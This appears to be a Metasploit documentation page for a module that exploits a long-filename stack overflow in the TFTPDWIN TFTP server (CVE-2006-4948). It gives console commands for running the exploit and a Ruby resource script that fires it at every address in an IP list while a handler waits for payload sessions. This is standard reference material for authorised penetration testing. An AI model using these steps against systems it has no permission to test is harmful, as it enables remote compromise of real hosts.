Module Overview
Name: TFTPDWIN v0.4.2 Long Filename Buffer Overflow
Module: exploit/windows/tftp/tftpdwin_long_filename
Source code: modules/exploits/windows/tftp/tftpdwin_long_filename.rb
Disclosure date: 2006-09-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2006-4948
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending an overly long file name to the tftpd.exe server, the stack can be overwritten.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using tftpdwin_long_filename against a single host
Normally, you can use exploit/windows/tftp/tftpdwin_long_filename this way:
msf > use exploit/windows/tftp/tftpdwin_long_filename
msf exploit(tftpdwin_long_filename) > show targets
... a list of targets ...
msf exploit(tftpdwin_long_filename) > set TARGET target-id
msf exploit(tftpdwin_long_filename) > show options
... show and set options ...
msf exploit(tftpdwin_long_filename) > exploit
Using tftpdwin_long_filename against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tftpdwin_long_filename will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/tftp/tftpdwin_long_filename")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
